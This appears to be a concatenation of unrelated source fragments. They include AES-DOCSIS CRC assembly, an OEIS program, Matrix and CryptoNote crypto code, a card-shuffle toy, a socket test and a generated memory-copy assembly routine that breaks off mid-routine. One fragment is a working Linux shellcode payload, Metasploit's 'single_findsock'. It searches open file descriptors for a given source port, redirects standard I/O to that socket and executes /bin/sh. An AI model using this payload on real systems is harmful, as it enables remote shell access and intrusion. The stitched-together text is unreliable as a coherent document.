;; - ciphered blocks: n + 0, n + 1, n + 2, n + 3, n + 4, n + 5, n + 6, n + 7
;; - crc'ed blocks: n - 8, n - 7, n - 6, n - 5, n - 4, n - 3, n - 2, n - 1
AES_CBC_DEC_CRC32_1_TO_8 %%SRC, %%DST, 8, 8, %%OFFSET, %%NUM_BYTES, \
%%XKEY0, %%KEYS, %%XIV, \
%%XT0, %%XT1, %%XT2, %%XT3, \
%%XT4, %%XT5, %%XT6, %%XT7, \
%%XCIPH0, %%XCIPH1, %%XCIPH2, %%XCIPH3, \
%%XCIPH4, %%XCIPH5, %%XCIPH6, %%XCIPH7, \
%%XTMP0, %%NROUNDS, \
next_crc, %%XCRC_MUL, %%XCRC_IN_OUT, %%XTMP1, \
%%XCRC0, %%XCRC1, %%XCRC2, %%XCRC3, \
%%XCRC4, %%XCRC5, %%XCRC6, %%XCRC7
jmp %%_main_loop
%%_exit_loop:
;; Calculate CRC for already decrypted blocks
;; - keep the last block out from the calculation
;; (this may be a partial block - additional checks follow)
CRC32_1_TO_8 next_crc, %%XCRC_MUL, %%XCRC_IN_OUT, %%XTMP0, 7, \
%%XCRC0, %%XCRC1, %%XCRC2, %%XCRC3, \
%%XCRC4, %%XCRC5, %%XCRC6, %%XCRC7
vmovdqa64 %%XCRC0, %%XCRC7
%%_check_partial_block:
or %%NUM_BYTES, %%NUM_BYTES
jz %%_no_partial_bytes
;; AES128/256-CFB on the partial block
lea %%GT1, [rel byte_len_to_mask_table]
kmovw k1, [%%GT1 + %%NUM_BYTES*2]
vmovdqu8 %%XTMP1{k1}{z}, [%%SRC + %%OFFSET + 0]
vpxorq %%XTMP0, %%XIV, [%%KEYS_ENC + 0*16]
%assign i 1
%rep %%NROUNDS
vaesenc %%XTMP0, [%%KEYS_ENC + i*16]
%assign i (i + 1)
%endrep
vaesenclast %%XTMP0, [%%KEYS_ENC + i*16]
vpxorq %%XTMP0, %%XTMP0, %%XTMP1
vmovdqu8 [%%DST + %%OFFSET + 0]{k1}, %%XTMP0
%%_no_partial_bytes:
;; At this stage:
;; - whole message is decrypted the focus moves to complete CRC
;; - XCRC_IN_OUT includes folded data from all payload apart from
;; the last full block and (potential) partial bytes
;; - max 2 blocks (minus 1) remain for CRC calculation
;; - %%OFFSET == 0 is used to check
;; if message consists of partial block only
or %%OFFSET, %%OFFSET
jz %%_no_block_pending_crc
;; Data block(s) was previously decrypted
;; - move to the last decrypted block
;; - calculate number of bytes to compute CRC for (less CRC field size)
add %%NUM_BYTES, (16 - 4)
sub %%OFFSET, 16
jz %%_no_partial_bytes__start_crc
cmp %%NUM_BYTES, 16
jb %%_no_partial_bytes__lt16
;; XCRC0 has copy of the last full decrypted block
CRC_UPDATE16 no_load, %%XCRC_IN_OUT, %%XCRC_MUL, %%XCRC0, %%XTMP1, next_crc
sub %%NUM_BYTES, 16
add %%OFFSET, 16 ; compensate for the subtract above
%%_no_partial_bytes__lt16:
or %%NUM_BYTES, %%NUM_BYTES
jz %%_no_partial_bytes__128_done
;; Partial bytes left - complete CRC calculation
lea %%GT1, [rel pshufb_shf_table]
vmovdqu64 %%XTMP0, [%%GT1 + %%NUM_BYTES]
lea %%GT1, [%%DST + %%OFFSET]
vmovdqu64 %%XTMP1, [%%GT1 - 16 + %%NUM_BYTES] ; xtmp1 = data for CRC
vmovdqa64 %%XCRC_TMP, %%XCRC_IN_OUT
vpshufb %%XCRC_IN_OUT, %%XTMP0 ; top num_bytes with LSB xcrc
vpxorq %%XTMP0, [rel mask3]
vpshufb %%XCRC_TMP, %%XTMP0 ; bottom (16 - num_bytes) with MSB xcrc
;; data num_bytes (top) blended with MSB bytes of CRC (bottom)
vpblendvb %%XCRC_TMP, %%XTMP1, %%XTMP0
CRC_CLMUL %%XCRC_IN_OUT, %%XCRC_MUL, %%XCRC_TMP, %%XTMP1
%%_no_partial_bytes__128_done:
CRC32_REDUCE_128_TO_32 rax, %%XCRC_IN_OUT, %%XTMP1, %%XTMP0, %%XCRC_TMP
jmp %%_do_return
%%_no_partial_bytes__start_crc:
;; - CRC was not started yet
;; - CBC decryption could have taken place and/or CFB
;; - DST is never modified so it points to start of the buffer that
;; is subject of CRC calculation
ETHERNET_FCS_CRC %%DST, %%NUM_BYTES, rax, %%XCRC_IN_OUT, %%GT1, \
%%XCRC_MUL, %%XTMP0, %%XTMP1, %%XCRC_TMP
jmp %%_do_return
%%_no_block_pending_crc:
;; Message consists of partial block only (first_crc not employed yet)
;; - XTMP0 includes clear text from CFB processing above
;; - k1 includes mask of bytes belonging to the message
;; - NUM_BYTES is length of cipher, CRC is 4 bytes shorter
;; - ignoring hash lengths 1 to 4
cmp %%NUM_BYTES, 5
jb %%_do_return
;; clear top 4 bytes of the data
kshiftrw k1, k1, 4
vmovdqu8 %%XTMP0{k1}{z}, %%XTMP0
vpxorq %%XCRC_IN_OUT, %%XTMP0 ; xor the data in
sub %%NUM_BYTES, 4
;; CRC calculation for payload lengths below 4 is different
cmp %%NUM_BYTES, 4
jb %%_no_block_pending_crc__lt4
;; 4 or more bytes left
lea %%GT1, [rel pshufb_shf_table]
vmovdqu64 %%XTMP1, [%%GT1 + %%NUM_BYTES]
vpshufb %%XCRC_IN_OUT, %%XTMP1
CRC32_REDUCE_128_TO_32 rax, %%XCRC_IN_OUT, %%XTMP0, %%XTMP1, %%XCRC_TMP
jmp %%_do_return
%%_no_block_pending_crc__lt4:
;; less than 4 bytes left for CRC
cmp %%NUM_BYTES, 3
jne %%_no_block_pending_crc__neq3
vpslldq %%XCRC_IN_OUT, 5
jmp %%_do_barret
%%_no_block_pending_crc__neq3:
cmp %%NUM_BYTES, 2
jne %%_no_block_pending_crc__neq2
vpslldq %%XCRC_IN_OUT, 6
jmp %%_do_barret
%%_no_block_pending_crc__neq2:
vpslldq %%XCRC_IN_OUT, 7
%%_do_barret:
CRC32_REDUCE_64_TO_32 rax, %%XCRC_IN_OUT, %%XTMP0, %%XTMP1, %%XCRC_TMP
%%_do_return:
;; result in rax
%endmacro ;; DOCSIS_DEC_CRC32
%macro AES_DOCSIS_DEC_CRC32 1
%define %%NROUNDS %1 ; [in] Number of rounds (9 or 13)
mov rax, rsp
sub rsp, STACKFRAME_size
and rsp, -64
mov [rsp + _rsp_save], rax ; original SP
mov [rsp + _gpr_save + 0*8], r12
mov [rsp + _gpr_save + 1*8], r13
mov [rsp + _gpr_save + 2*8], rbx
mov [rsp + _gpr_save + 3*8], rbp
vmovdqa64 xmm15, [rel init_crc_value]
mov tmp1, [job + _src]
add tmp1, [job + _hash_start_src_offset_in_bytes] ; CRC only start
prefetchw [tmp1 + 0*64]
prefetchw [tmp1 + 1*64]
cmp qword [job + _msg_len_to_cipher_in_bytes], 0
jz %%aes_docsis_dec_crc32_avx512__no_cipher
mov tmp2, [job + _cipher_start_src_offset_in_bytes]
cmp tmp2, [job + _hash_start_src_offset_in_bytes]
jbe %%aes_docsis_dec_crc32_avx512__skip_aad ; avoid zero lengths or negative cases
sub tmp2, [job + _hash_start_src_offset_in_bytes] ; CRC only size / AAD
ETHERNET_FCS_CRC tmp1, tmp2, rax, xmm15, tmp3, xmm0, xmm1, xmm2, xmm3
not eax ; carry CRC value into the combined part
vmovd xmm15, eax ; initial CRC value
%%aes_docsis_dec_crc32_avx512__skip_aad:
mov tmp1, [job + _iv]
vmovdqu64 xmm14, [tmp1] ; load IV
mov tmp2, [job + _src]
add tmp2, [job + _cipher_start_src_offset_in_bytes] ; AES start
mov tmp3, [job + _dst] ; AES destination
mov tmp4, [job + _msg_len_to_cipher_in_bytes] ; CRC + AES size
mov tmp5, [job + _dec_keys]
mov tmp6, [job + _enc_keys]
DOCSIS_DEC_CRC32 tmp5, tmp2, tmp3, tmp4, tmp6, \
tmp7, tmp8, \
xmm15, xmm14, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, \
zmm8, zmm9, zmm10, zmm11, zmm12, zmm13, \
zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
%%NROUNDS
jmp %%aes_docsis_dec_crc32_avx512__exit
%%aes_docsis_dec_crc32_avx512__no_cipher:
;; tmp1 - already points to hash start
mov tmp2, [job + _msg_len_to_hash_in_bytes]
ETHERNET_FCS_CRC tmp1, tmp2, rax, xmm15, tmp3, xmm0, xmm1, xmm2, xmm3
%%aes_docsis_dec_crc32_avx512__exit:
mov tmp1, [job + _auth_tag_output]
mov [tmp1], eax ; store CRC32 value
or qword [job + _status], IMB_STATUS_COMPLETED_CIPHER
;; restore stack pointer and registers
mov r12, [rsp + _gpr_save + 0*8]
mov r13, [rsp + _gpr_save + 1*8]
mov rbx, [rsp + _gpr_save + 2*8]
mov rbp, [rsp + _gpr_save + 3*8]
mov rsp, [rsp + _rsp_save] ; original SP
%ifdef SAFE_DATA
clear_all_zmms_asm
%endif ;; SAFE_DATA
%endmacro
;; ===================================================================
;; ===================================================================
;; input: arg1 = job
;; ===================================================================
align 64
MKGLOBAL(aes_docsis128_dec_crc32_avx512,function,internal)
aes_docsis128_dec_crc32_avx512:
endbranch64
AES_DOCSIS_DEC_CRC32 9
ret
align 64
MKGLOBAL(aes_docsis256_dec_crc32_avx512,function,internal)
aes_docsis256_dec_crc32_avx512:
endbranch64
AES_DOCSIS_DEC_CRC32 13
ret
%ifdef LINUX
section .note.GNU-stack noalloc noexec nowrite progbits
%endif
|
; A158944: Triangle by columns: the natural numbers interleaved with zeros in every column: (1, 0, 2, 0, 3, 0, 4,...)
; 1,0,1,2,0,1,0,2,0,1,3,0,2,0,1,0,3,0,2,0,1,4,0,3,0,2,0,1,0,4,0,3,0,2,0,1,5,0,4,0,3,0,2,0,1,0,5,0,4,0,3,0,2,0,1,6,0,5,0,4,0,3,0,2,0,1,0,6,0,5,0,4,0,3,0,2,0,1
seq $0,212012 ; Triangle read by rows in which row n lists the number of states of the subshells of the n-th shell of the nuclear shell model ordered by energy level in increasing order.
mul $0,3
div $0,4
seq $0,332056 ; a(1) = 1, then a(n+1) = a(n) - (-1)^a(n) Sum_{k=1..n} a(k): if a(n) is odd, add the partial sum, else subtract.
div $0,2
|
#pragma once
/// @file
/// @brief Various crypto functions.
#include <string>
#include <vector>
#include "mtx/common.hpp"
#include "mtx/responses/crypto.hpp"
#include "mtx/secret_storage.hpp"
namespace mtx {
namespace crypto {
//! Exception thrown for various encryption related errors (not reported by olm), that generally
//! should not be ignored.
class crypto_exception : public std::exception
{
public:
crypto_exception(std::string func, const char *msg)
: msg_(func + ": " + std::string(msg))
{}
//! Describes the error
const char *what() const noexcept override { return msg_.c_str(); }
private:
std::string msg_;
};
//! Data representation used to interact with libolm. It's a contiguous buffer of bytes.
using BinaryBuf = std::vector<uint8_t>;
const std::string HEADER_LINE("-----BEGIN MEGOLM SESSION DATA-----");
const std::string TRAILER_LINE("-----END MEGOLM SESSION DATA-----");
//! Create a uint8_t buffer which is initialized with random bytes.
BinaryBuf
create_buffer(std::size_t nbytes);
//! Convert a string to a binary buffer.
inline BinaryBuf
to_binary_buf(const std::string &str)
{
return BinaryBuf(reinterpret_cast<const uint8_t *>(str.data()),
reinterpret_cast<const uint8_t *>(str.data()) + str.size());
}
//! Convert a binary buffer to a string.
inline std::string
to_string(const BinaryBuf &buf)
{
return std::string(reinterpret_cast<const char *>(buf.data()), buf.size());
}
//! Simple wrapper around the OpenSSL PKCS5_PBKDF2_HMAC function
BinaryBuf
PBKDF2_HMAC_SHA_512(const std::string pass,
const BinaryBuf salt,
uint32_t iterations,
uint32_t keylen = 64);
//! Derive the SSSS decryption key from a passphrase using the parameters stored in account_data.
std::optional<BinaryBuf>
key_from_passphrase(const std::string &password,
const mtx::secret_storage::AesHmacSha2KeyDescription ¶meters);
//! Derive the SSSS decryption key from a base58 encoded recoverykey using the parameters stored in
//! account_data.
std::optional<BinaryBuf>
key_from_recoverykey(const std::string &recoverkey,
const mtx::secret_storage::AesHmacSha2KeyDescription ¶meters);
//! Decrypt a secret from SSSS
std::string
decrypt(const mtx::secret_storage::AesHmacSha2EncryptedData &data,
BinaryBuf decryptionKey,
const std::string key_name);
//! HKDF key derivation with SHA256 digest
struct HkdfKeys
{
BinaryBuf aes, mac;
};
HkdfKeys
HKDF_SHA256(const BinaryBuf &key, const BinaryBuf &salt, const BinaryBuf &info);
BinaryBuf
AES_CTR_256_Encrypt(const std::string plaintext, const BinaryBuf aes256Key, BinaryBuf iv);
BinaryBuf
AES_CTR_256_Decrypt(const std::string ciphertext, const BinaryBuf aes256Key, BinaryBuf iv);
// copies ciphertext, as decryption modifies it.
std::string
CURVE25519_AES_SHA2_Decrypt(std::string base64_ciphertext,
const BinaryBuf &privateKey,
const std::string &ephemeral,
const std::string &mac);
//! Decrypt a session retrieved from online key backup.
mtx::responses::backup::SessionData
decrypt_session(const mtx::responses::backup::EncryptedSessionData &data,
const BinaryBuf &privateKey);
BinaryBuf
HMAC_SHA256(const BinaryBuf hmacKey, const BinaryBuf data);
//! Sha256 a string.
std::string
sha256(const std::string &data);
//! Decrypt matrix EncryptedFile
BinaryBuf
decrypt_file(const std::string &ciphertext, const mtx::crypto::EncryptedFile &encryption_info);
//! Encrypt matrix EncryptedFile
// Remember to set the url member of the EncryptedFile struct!
std::pair<BinaryBuf, mtx::crypto::EncryptedFile>
encrypt_file(const std::string &plaintext);
//! Translates the data back into the binary buffer, taking care
//! to remove the header and footer elements.
std::string
unpack_key_file(const std::string &data);
template<typename T>
void
remove_substrs(std::basic_string<T> &s, const std::basic_string<T> &p);
void
uint8_to_uint32(uint8_t b[4], uint32_t &u32);
void
uint32_to_uint8(uint8_t b[4], uint32_t u32);
void
print_binary_buf(const BinaryBuf buf);
//! Convert base64 to binary
std::string
base642bin(const std::string &b64);
//! Encode a binary string in base64.
std::string
bin2base64(const std::string &bin);
//! Decode unpadded base64 to binary.
std::string
base642bin_unpadded(const std::string &b64);
//! Encode binary in unpadded base64.
std::string
bin2base64_unpadded(const std::string &bin);
//! Decode urlsafe, unpadded base64 to binary.
std::string
base642bin_urlsafe_unpadded(const std::string &b64);
//! Encode binary in urlsafe, unpadded base64.
std::string
bin2base64_urlsafe_unpadded(const std::string &bin);
//! Encode binary in base58.
std::string
bin2base58(const std::string &bin);
//! Decode base58 to binary.
std::string
base582bin(const std::string &bin);
} // namespace crypto
} // namespace mtx
|
#include <iostream>
#include <algorithm>
#include <iterator>
#include <random>
#include <math.h>
#include <complex>
#include "cards.h"
#include "Player.h"
#include "Rules.h"
#define LOGCARD(Suit, Num) std::cout << "Suit = " << Suit << " Card number = " << Num << std::endl
#define LOG(X) std::cout << X << std::endl
static CardPack Pack;
std::random_device rd;
std::mt19937 g(rd());
void Shuffle()
{
std::shuffle(Pack.Cards.begin(), Pack.Cards.end(), g);
}
int main()
{
Rules rules;
float imaginary = sqrt(-1);
LOG(imaginary);
Player P1;
do
{
Shuffle();
for (int i = 0; i < 7; ++i)
{
P1.VisibleCards[i] = Pack.Cards[i];
}
}
while (!rules.IsFlush(P1.VisibleCards));
for (card Card : P1.VisibleCards)
{
LOGCARD(Card.suit, Card.cardNum);
}
std::cin.get();
} |
// Copyright (c) 2014-2020, The BRT Project
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are
// permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice, this list
// of conditions and the following disclaimer in the documentation and/or other
// materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its contributors may be
// used to endorse or promote products derived from this software without specific
// prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
// THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
// THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Parts of this file are originally copyright (c) 2012-2013 The Cryptonote developers
#include <fstream>
#include "include_base_utils.h"
#include "account.h"
#include "warnings.h"
#include "crypto/crypto.h"
extern "C"
{
#include "crypto/keccak.h"
}
#include "cryptonote_basic_impl.h"
#include "cryptonote_format_utils.h"
#include "cryptonote_config.h"
#undef BRT_DEFAULT_LOG_CATEGORY
#define BRT_DEFAULT_LOG_CATEGORY "account"
using namespace std;
DISABLE_VS_WARNINGS(4244 4345)
namespace cryptonote
{
//-----------------------------------------------------------------
hw::device& account_keys::get_device() const {
return *m_device;
}
//-----------------------------------------------------------------
void account_keys::set_device( hw::device &hwdev) {
m_device = &hwdev;
MCDEBUG("device", "account_keys::set_device device type: "<<typeid(hwdev).name());
}
//-----------------------------------------------------------------
static void derive_key(const crypto::chacha_key &base_key, crypto::chacha_key &key)
{
static_assert(sizeof(base_key) == sizeof(crypto::hash), "chacha key and hash should be the same size");
epee::mlocked<tools::scrubbed_arr<char, sizeof(base_key)+1>> data;
memcpy(data.data(), &base_key, sizeof(base_key));
data[sizeof(base_key)] = config::HASH_KEY_MEMORY;
crypto::generate_chacha_key(data.data(), sizeof(data), key, 1);
}
//-----------------------------------------------------------------
static epee::wipeable_string get_key_stream(const crypto::chacha_key &base_key, const crypto::chacha_iv &iv, size_t bytes)
{
// derive a new key
crypto::chacha_key key;
derive_key(base_key, key);
// chacha
epee::wipeable_string buffer0(std::string(bytes, '\0'));
epee::wipeable_string buffer1 = buffer0;
crypto::chacha20(buffer0.data(), buffer0.size(), key, iv, buffer1.data());
return buffer1;
}
//-----------------------------------------------------------------
void account_keys::xor_with_key_stream(const crypto::chacha_key &key)
{
// encrypt a large enough byte stream with chacha20
epee::wipeable_string key_stream = get_key_stream(key, m_encryption_iv, sizeof(crypto::secret_key) * (2 + m_multisig_keys.size()));
const char *ptr = key_stream.data();
for (size_t i = 0; i < sizeof(crypto::secret_key); ++i)
m_spend_secret_key.data[i] ^= *ptr++;
for (size_t i = 0; i < sizeof(crypto::secret_key); ++i)
m_view_secret_key.data[i] ^= *ptr++;
for (crypto::secret_key &k: m_multisig_keys)
{
for (size_t i = 0; i < sizeof(crypto::secret_key); ++i)
k.data[i] ^= *ptr++;
}
}
//-----------------------------------------------------------------
void account_keys::encrypt(const crypto::chacha_key &key)
{
m_encryption_iv = crypto::rand<crypto::chacha_iv>();
xor_with_key_stream(key);
}
//-----------------------------------------------------------------
void account_keys::decrypt(const crypto::chacha_key &key)
{
xor_with_key_stream(key);
}
//-----------------------------------------------------------------
void account_keys::encrypt_viewkey(const crypto::chacha_key &key)
{
// encrypt a large enough byte stream with chacha20
epee::wipeable_string key_stream = get_key_stream(key, m_encryption_iv, sizeof(crypto::secret_key) * 2);
const char *ptr = key_stream.data();
ptr += sizeof(crypto::secret_key);
for (size_t i = 0; i < sizeof(crypto::secret_key); ++i)
m_view_secret_key.data[i] ^= *ptr++;
}
//-----------------------------------------------------------------
void account_keys::decrypt_viewkey(const crypto::chacha_key &key)
{
encrypt_viewkey(key);
}
//-----------------------------------------------------------------
account_base::account_base()
{
set_null();
}
//-----------------------------------------------------------------
void account_base::set_null()
{
m_keys = account_keys();
m_creation_timestamp = 0;
}
//-----------------------------------------------------------------
void account_base::deinit()
{
try{
m_keys.get_device().disconnect();
} catch (const std::exception &e){
MERROR("Device disconnect exception: " << e.what());
}
}
//-----------------------------------------------------------------
void account_base::forget_spend_key()
{
m_keys.m_spend_secret_key = crypto::secret_key();
m_keys.m_multisig_keys.clear();
}
//-----------------------------------------------------------------
crypto::secret_key account_base::generate(const crypto::secret_key& recovery_key, bool recover, bool two_random)
{
crypto::secret_key first = generate_keys(m_keys.m_account_address.m_spend_public_key, m_keys.m_spend_secret_key, recovery_key, recover);
// rng for generating second set of keys is hash of first rng. means only one set of electrum-style words needed for recovery
crypto::secret_key second;
keccak((uint8_t *)&m_keys.m_spend_secret_key, sizeof(crypto::secret_key), (uint8_t *)&second, sizeof(crypto::secret_key));
generate_keys(m_keys.m_account_address.m_view_public_key, m_keys.m_view_secret_key, second, two_random ? false : true);
struct tm timestamp = {0};
timestamp.tm_year = 2014 - 1900; // year 2014
timestamp.tm_mon = 6 - 1; // month june
timestamp.tm_mday = 8; // 8th of june
timestamp.tm_hour = 0;
timestamp.tm_min = 0;
timestamp.tm_sec = 0;
if (recover)
{
m_creation_timestamp = mktime(×tamp);
if (m_creation_timestamp == (uint64_t)-1) // failure
m_creation_timestamp = 0; // lowest value
}
else
{
m_creation_timestamp = time(NULL);
}
return first;
}
//-----------------------------------------------------------------
void account_base::create_from_keys(const cryptonote::account_public_address& address, const crypto::secret_key& spendkey, const crypto::secret_key& viewkey)
{
m_keys.m_account_address = address;
m_keys.m_spend_secret_key = spendkey;
m_keys.m_view_secret_key = viewkey;
struct tm timestamp = {0};
timestamp.tm_year = 2014 - 1900; // year 2014
timestamp.tm_mon = 4 - 1; // month april
timestamp.tm_mday = 15; // 15th of april
timestamp.tm_hour = 0;
timestamp.tm_min = 0;
timestamp.tm_sec = 0;
m_creation_timestamp = mktime(×tamp);
if (m_creation_timestamp == (uint64_t)-1) // failure
m_creation_timestamp = 0; // lowest value
}
//-----------------------------------------------------------------
void account_base::create_from_device(const std::string &device_name)
{
hw::device &hwdev = hw::get_device(device_name);
hwdev.set_name(device_name);
create_from_device(hwdev);
}
void account_base::create_from_device(hw::device &hwdev)
{
m_keys.set_device(hwdev);
MCDEBUG("device", "device type: "<<typeid(hwdev).name());
CHECK_AND_ASSERT_THROW_MES(hwdev.init(), "Device init failed");
CHECK_AND_ASSERT_THROW_MES(hwdev.connect(), "Device connect failed");
try {
CHECK_AND_ASSERT_THROW_MES(hwdev.get_public_address(m_keys.m_account_address), "Cannot get a device address");
CHECK_AND_ASSERT_THROW_MES(hwdev.get_secret_keys(m_keys.m_view_secret_key, m_keys.m_spend_secret_key), "Cannot get device secret");
} catch (const std::exception &e){
hwdev.disconnect();
throw;
}
struct tm timestamp = {0};
timestamp.tm_year = 2014 - 1900; // year 2014
timestamp.tm_mon = 4 - 1; // month april
timestamp.tm_mday = 15; // 15th of april
timestamp.tm_hour = 0;
timestamp.tm_min = 0;
timestamp.tm_sec = 0;
m_creation_timestamp = mktime(×tamp);
if (m_creation_timestamp == (uint64_t)-1) // failure
m_creation_timestamp = 0; // lowest value
}
//-----------------------------------------------------------------
void account_base::create_from_viewkey(const cryptonote::account_public_address& address, const crypto::secret_key& viewkey)
{
crypto::secret_key fake;
memset(&unwrap(unwrap(fake)), 0, sizeof(fake));
create_from_keys(address, fake, viewkey);
}
//-----------------------------------------------------------------
bool account_base::make_multisig(const crypto::secret_key &view_secret_key, const crypto::secret_key &spend_secret_key, const crypto::public_key &spend_public_key, const std::vector<crypto::secret_key> &multisig_keys)
{
m_keys.m_account_address.m_spend_public_key = spend_public_key;
m_keys.m_view_secret_key = view_secret_key;
m_keys.m_spend_secret_key = spend_secret_key;
m_keys.m_multisig_keys = multisig_keys;
return crypto::secret_key_to_public_key(view_secret_key, m_keys.m_account_address.m_view_public_key);
}
//-----------------------------------------------------------------
void account_base::finalize_multisig(const crypto::public_key &spend_public_key)
{
m_keys.m_account_address.m_spend_public_key = spend_public_key;
}
//-----------------------------------------------------------------
const account_keys& account_base::get_keys() const
{
return m_keys;
}
//-----------------------------------------------------------------
std::string account_base::get_public_address_str(network_type nettype) const
{
//TODO: change this code into base 58
return get_account_address_as_str(nettype, false, m_keys.m_account_address);
}
//-----------------------------------------------------------------
std::string account_base::get_public_integrated_address_str(const crypto::hash8 &payment_id, network_type nettype) const
{
//TODO: change this code into base 58
return get_account_integrated_address_as_str(nettype, m_keys.m_account_address, payment_id);
}
//-----------------------------------------------------------------
}
|
;;
;
; Name: single_findsock
; Platforms: Linux
; Authors: vlad902 <vlad902 [at] gmail.com>
; Authors: skape <mmiller [at] hick.org>
; Version: $Revision: 1856 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Search file descriptors based on source port.
;
;;
BITS 32
global main
main:
xor edx, edx
push edx
mov ebp, esp
push byte 0x07
pop ebx
push byte 0x10
push esp
push ebp
push edx
mov ecx, esp
getpeername_loop:
inc dword [ecx]
push byte 0x66
pop eax
int 0x80
cmp word [ebp + 2], 0x5c11
jne getpeername_loop
pop ebx
push byte 0x02
pop ecx
dup2_loop:
mov al, 0x3f
int 0x80
dec ecx
jns dup2_loop
push edx
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp
push edx
push ebx
mov ecx, esp
mov al, 0x0b
int 0x80
|
#include "catch.hpp"
#include "cppio/iolinemanager.h"
#include "win32/win_socket.h"
#include <numeric>
#include <thread>
#ifdef __MINGW32__
#ifndef _GLIBCXX_HAS_GTHREADS
#include "mingw.thread.h"
#endif // _GLIBCXX_HAS_GTHREADS
#endif
#include <unistd.h>
using namespace cppio;
static void checkIo(const std::shared_ptr<IoLineManager>& manager, const std::string& endpoint)
{
std::array<char, 1024> buf;
std::iota(buf.begin(), buf.end(), 0);
auto server = std::unique_ptr<IoAcceptor>(manager->createServer(endpoint));
auto client = std::unique_ptr<IoLine>(manager->createClient(endpoint));
REQUIRE(client);
auto socket = std::unique_ptr<IoLine>(server->waitConnection(100));
int rc = client->write(buf.data(), 1024);
REQUIRE(rc == 1024);
std::array<char, 1024> recv_buf;
socket->read(recv_buf.data(), 1024);
REQUIRE(buf == recv_buf);
std::fill(recv_buf.begin(), recv_buf.end(), 0);
socket->write(buf.data(), 1024);
rc = client->read(recv_buf.data(), 1024);
REQUIRE(rc == 1024);
REQUIRE(buf == recv_buf);
}
static void threadedCheckIo(const std::shared_ptr<IoLineManager>& manager, const std::string& endpoint, const std::string& serverEndpoint)
{
std::array<char, 1024> buf;
std::iota(buf.begin(), buf.end(), 0);
std::array<char, 1024> recv_buf;
std::thread serverThread([&]() {
auto server = std::unique_ptr<IoAcceptor>(manager->createServer(serverEndpoint));
auto socket = std::unique_ptr<IoLine>(server->waitConnection(100));
socket->read(recv_buf.data(), 1024);
});
std::thread clientThread([&]() {
usleep(10000);
auto client = std::unique_ptr<IoLine>(manager->createClient(endpoint));
REQUIRE(client);
int rc = client->write(buf.data(), 1024);
REQUIRE(rc == 1024);
});
serverThread.join();
clientThread.join();
REQUIRE(buf == recv_buf);
}
TEST_CASE("Win32: TCP socket", "[io]")
{
auto manager = std::make_shared<IoLineManager>();
manager->registerFactory(std::unique_ptr<WinSocketFactory>(new WinSocketFactory));
threadedCheckIo(manager, "tcp://127.0.0.1:6000", "tcp://*:6000");
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x137b6, %rsi
lea addresses_A_ht+0x16a16, %rdi
clflush (%rsi)
clflush (%rdi)
nop
xor %rax, %rax
mov $9, %rcx
rep movsq
nop
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_D_ht+0xb656, %rsi
lea addresses_A_ht+0x14c56, %rdi
clflush (%rdi)
nop
nop
nop
nop
xor $54940, %r13
mov $119, %rcx
rep movsl
nop
sub %rax, %rax
lea addresses_WC_ht+0x1b297, %rsi
lea addresses_normal_ht+0x19fee, %rdi
add %r14, %r14
mov $46, %rcx
rep movsl
sub %r14, %r14
lea addresses_normal_ht+0x17b16, %rcx
nop
nop
nop
nop
cmp %r9, %r9
movb (%rcx), %r14b
nop
nop
nop
nop
dec %rcx
lea addresses_D_ht+0xa316, %r13
nop
nop
nop
nop
nop
sub $1225, %rcx
movl $0x61626364, (%r13)
nop
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_UC_ht+0x14b16, %rax
nop
nop
nop
inc %rsi
mov $0x6162636465666768, %r9
movq %r9, (%rax)
nop
nop
nop
nop
sub $33508, %rdi
lea addresses_UC_ht+0x13316, %r9
nop
nop
nop
nop
nop
add %rsi, %rsi
mov (%r9), %rax
nop
nop
nop
nop
nop
cmp %rax, %rax
lea addresses_normal_ht+0xb216, %rdi
nop
sub $1607, %rsi
movl $0x61626364, (%rdi)
nop
and %r13, %r13
lea addresses_normal_ht+0xb4c6, %rsi
lea addresses_D_ht+0x1ec14, %rdi
nop
nop
nop
nop
and %r11, %r11
mov $85, %rcx
rep movsq
nop
nop
nop
nop
add $11663, %rax
lea addresses_WT_ht+0x1e8ce, %r9
nop
nop
nop
xor %rax, %rax
mov (%r9), %r13d
sub $17622, %r9
lea addresses_A_ht+0xa516, %rsi
lea addresses_WC_ht+0x15846, %rdi
nop
nop
cmp %r9, %r9
mov $61, %rcx
rep movsb
nop
nop
cmp $10181, %rax
lea addresses_WC_ht+0x49d6, %rsi
lea addresses_WT_ht+0xd716, %rdi
nop
nop
cmp %r11, %r11
mov $53, %rcx
rep movsl
nop
and %rcx, %rcx
lea addresses_WC_ht+0x1d616, %rax
nop
nop
nop
nop
cmp %rcx, %rcx
movups (%rax), %xmm2
vpextrq $1, %xmm2, %r14
